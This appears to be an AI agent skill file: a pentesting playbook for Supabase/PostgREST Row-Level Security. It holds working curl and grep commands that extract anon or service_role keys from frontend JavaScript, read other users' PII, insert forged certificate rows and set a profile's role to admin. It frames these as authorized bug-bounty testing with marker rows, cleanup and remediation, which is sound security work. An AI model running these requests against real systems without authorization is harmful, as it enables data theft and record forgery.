supabase

name	supabase
description	Supabase / PostgREST Row-Level-Security playbook — pull the anon (or leaked service_role) key out of the frontend JS, map tables from the auto-generated OpenAPI spec, test anonymous RLS READ disclosures (PII/secret leaks), and anonymous RLS WRITE abuse (insert/update/delete — e.g. forging "certificate"/verification/entitlement rows the app trusts). Use when the target's frontend talks to *.supabase.co, ships an anon JWT, or you see /rest/v1/, /auth/v1/, /storage/v1/ requests.
allowed-tools	["http","shell","web_fetch","grep","file_write","read_payloads","confirm_finding"]

Supabase RLS playbook

Supabase exposes PostgreSQL directly to the browser through PostgREST (/rest/v1/), GoTrue auth (/auth/v1/), and Storage (/storage/v1/). The browser authenticates with a public anon JWT, and the only thing standing between an anonymous attacker and the database is Row-Level Security (RLS) policies. Misconfigured or missing RLS is the entire bug class:

• RLS disclosure — SELECT on a table returns rows it shouldn't (PII, tokens, other tenants).
• RLS write abuse — INSERT / UPDATE / DELETE succeeds anonymously, so you can forge records the application trusts (a "certificate" / verification / license / entitlement row, an admin flag, a balance, someone else's data).

Authorized targets only. Treat the database as production: read a single marker row to prove disclosure, write ONE clearly-labelled marker row to prove write, then clean up. Never dump whole tables of real PII, never mass-modify, never DELETE real rows. The PoC is "I read/wrote one row I shouldn't be able to", not "I exfiltrated the customer base".

Execution rule: substitute the real Supabase project ref, anon key, table, and marker IDs before running commands. Never write literal placeholders such as <ref>, <table>, <col>, or <returned-id> to files; if a value is unknown, discover it first or ask once.

---

0. Find the project URL + anon key in the frontend JS

The project ref and anon key are meant to be public — they ship in the client bundle. You need both before you can talk to the API.

# Pull the main page + every script it references, then grep for the markers.
curl -ksS "https://TARGET/" -o /tmp/sb_index.html
grep -oE 'src="[^"]+\.js"' /tmp/sb_index.html | sed 's/src="//;s/"//' > /tmp/sb_js.txt
# Fetch each bundle (use the http/web_fetch tool or curl) into /tmp/sb_bundles/ ...

Grep the HTML and every JS bundle for:

# Project URL — gives you <ref>.supabase.co
grep -roE 'https://[a-z0-9]{20}\.supabase\.co' /tmp/sb_bundles/ | sort -u
grep -roiE 'supabase[._-]?url["'\'' :=]+[^"'\'' ,)]+'   /tmp/sb_bundles/

# Anon / service_role key — a JWT (eyJ...). Supabase keys decode to {"role":"anon"|"service_role"}
grep -roE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' /tmp/sb_bundles/ | sort -u
grep -roiE 'supabase[._-]?(anon[._-]?)?key["'\'' :=]+[^"'\'' ,)]+' /tmp/sb_bundles/
grep -roiE 'createClient\([^)]*\)' /tmp/sb_bundles/

Also worth checking: .env / .env.local left on the host, /_next/static/, source maps (*.js.map), config.js, and window.__SUPABASE__ / __NEXT_DATA__ JSON blobs.

Decode every JWT you find — this is the most important triage step

echo "<jwt-payload-b64url>" | tr '_-' '/+' | base64 -d 2>/dev/null | jq .

• "role":"anon" → the normal public key. RLS is the only protection. This is expected to be public — its presence is NOT a finding by itself. The finding is what it can do.
• "role":"service_role" → CRITICAL on its own. The service_role key bypasses RLS entirely. If it shipped to the browser (or any client-reachable place), that's a full-database read/write disclosure — report immediately, do not need any RLS hole.
• Note ref / iss (the project ref) and exp.

Save them for reuse:

SB="https://<ref>.supabase.co"
KEY="eyJ...<anon key>..."

---

1. Map the database from the OpenAPI spec (disclosure with zero rows)

PostgREST publishes a Swagger/OpenAPI document at the REST root. It lists every table and column the anon role can see — a schema disclosure even before you read any data.

curl -ksS "$SB/rest/v1/" -H "apikey: $KEY" | jq '.definitions | keys'
# or the paths:
curl -ksS "$SB/rest/v1/" -H "apikey: $KEY" | jq '.paths | keys'

If you get a schema back, record the table names. No spec? Brute a small list of likely tables: read_payloads(skill="supabase", file="common-tables.txt") and probe each with a HEAD/limit=1 read (next section). Pay attention to names that imply trust: certificates, verifications, licenses, entitlements, subscriptions, kyc, documents, invites, roles, admins.

---

2. RLS READ disclosure — what can anon SELECT?

Every PostgREST call needs both headers:

curl -ksS "$SB/rest/v1/<table>?select=*&limit=1" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

Interpret the response:

Response	Meaning
200 + JSON rows	Readable by anon. If the table holds PII/secrets/other tenants → disclosure finding.
200 + []	RLS is filtering you out or the table is empty. Add no filter / a known id to disambiguate.
401 / "No API key found"	Missing/!invalid apikey header.
404	Table not exposed in this schema.
403 + code 42501 "permission denied"	RLS (or grants) are blocking — good, that table is protected.

Techniques once a table is readable:

# Confirm it's REAL data, not your own row: count, and pull distinct owner ids.
curl -ksS "$SB/rest/v1/<table>?select=count" -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
     -H "Prefer: count=exact" -I        # Content-Range header shows total rows

# Cross-tenant: read a row you do NOT own (e.g. a different user_id) to prove RLS isn't scoping.
curl -ksS "$SB/rest/v1/profiles?select=id,email,phone&user_id=eq.<someone-elses-uuid>" \
     -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

# Column-level: even if rows are scoped, a permissive policy may expose secret columns.
curl -ksS "$SB/rest/v1/users?select=id,email,stripe_customer_id,api_token&limit=1" \
     -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

Impact for the report: read ONE record proving you can see data you shouldn't (another user's email/PII, an API token, a private document URL). Quote the row count from Content-Range to show scale without dumping it.

---

3. RLS WRITE abuse — anonymous record forgery

This is the high-severity case: a missing/permissive INSERT/UPDATE policy lets anon create or mutate rows the application later trusts. "Certificate forgery" is the canonical example — a certificates (or verifications / licenses / badges / entitlements) table that the app renders as proof-of-something, with an INSERT policy of true (or no RLS at all).

3a. Probe for write — INSERT a labelled marker

curl -ksS -X POST "$SB/rest/v1/<table>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=representation" \
  -d '{"<col>":"PENTEST-MARKER-do-not-trust"}'

Response	Meaning
201 + the inserted row echoed back	Anonymous write confirmed. Forgery is possible.
400 "null value in column ... violates not-null" / "column ... does not exist"	Write is allowed — you just missed required columns. Add them and retry; this is still a finding.
403 42501 "new row violates row-level security policy"	RLS WITH CHECK is blocking — protected.
401	bad/missing key headers.

Prefer: return=representation makes PostgREST echo the created row (including DB-assigned id/created_at), which is your proof.

3b. Forge the trusted record (the actual exploit)

Once INSERT works, populate the columns the app relies on to forge a record. For a certificate table that means a believable, attacker-controlled "valid" entry:

curl -ksS -X POST "$SB/rest/v1/certificates" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=representation" \
  -d '{
        "holder_name":"PENTEST Forged Holder",
        "credential":"PENTEST-FORGED — proof of anon RLS write",
        "status":"valid",
        "issued_at":"2025-01-01T00:00:00Z"
      }'

Then verify the forgery end-to-end: load the public verification page / API the app uses to check certificates and confirm it now reports your forged row as genuine ($SB/rest/v1/certificates?id=eq.<returned-id> or the app's own /verify/<id> route). That "the app trusts my forged record" step is what turns this from a raw write into a real impact.

3c. UPDATE / DELETE (privilege escalation, tampering)

# Flip your own role / a flag the app trusts — only if you can target a row you shouldn't own.
curl -ksS -X PATCH "$SB/rest/v1/profiles?id=eq.<your-id>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=representation" \
  -d '{"role":"admin"}'

Only run PATCH/DELETE against rows you created (your marker, your own account). A successful PATCH on a column like role/is_admin/balance/verified is a privilege- escalation finding; demonstrate it on your own row rather than mutating real users.

3d. Clean up

Delete every marker/forged row you created and note in the report that you did:

curl -ksS -X DELETE "$SB/rest/v1/<table>?id=eq.<your-marker-id>" \
  -H "apikey: $KEY" -H "Authorization: Bearer $KEY"

---

4. Adjacent Supabase surfaces (check while you're here)

• RPC / SECURITY DEFINER functions: POST $SB/rest/v1/rpc/<fn> with {} — definer functions run with elevated rights and often skip RLS. Enumerate from the OpenAPI paths.
• Open signup → authenticated role: POST $SB/auth/v1/signup ({"email","password"}). Some policies grant far more to authenticated than anon; getting a real session token may unlock tables that were closed to anon. Use a throwaway address.
• Storage: GET $SB/storage/v1/object/list/<bucket> (with the key) and public objects at $SB/storage/v1/object/public/<bucket>/<path>. Public buckets full of private files are a common disclosure.
• Prefer: count=exact + Content-Range quantifies any readable table without dumping it.

---

5. Triers, severity & reporting

Severity guide (map to the program's scale; Bugcrowd VRT-style P-levels):

• Leaked service_role key reachable by clients → P1/critical (full DB read+write, RLS bypass).
• Anonymous write/forgery of a trusted record, or UPDATE of a privilege/trust column → P1–P2.
• Anonymous read of other users' PII / secrets / tokens → P2–P3 (scale + sensitivity).
• Schema disclosure only (OpenAPI lists tables/columns, no readable rows) → P4/low / informational.

Before you call confirm_finding, you MUST have:

1. The exact request (method, URL, headers shown with the key redacted to apikey: <anon>) and the response proving it.
2. For writes: the echoed id of the row you created and evidence the app trusts it, and confirmation you deleted it.
3. Concrete impact in one sentence ("any anonymous visitor can forge a certificate the /verify page accepts as valid").

Remediation to include: enable RLS on every exposed table (ALTER TABLE ... ENABLE ROW LEVEL SECURITY;), write explicit USING/WITH CHECK policies scoped to auth.uid(), never expose write to anon, keep service_role server-side only, and lock down SECURITY DEFINER RPCs.

When you have a reproduced finding with a real request/response and impact, call confirm_finding.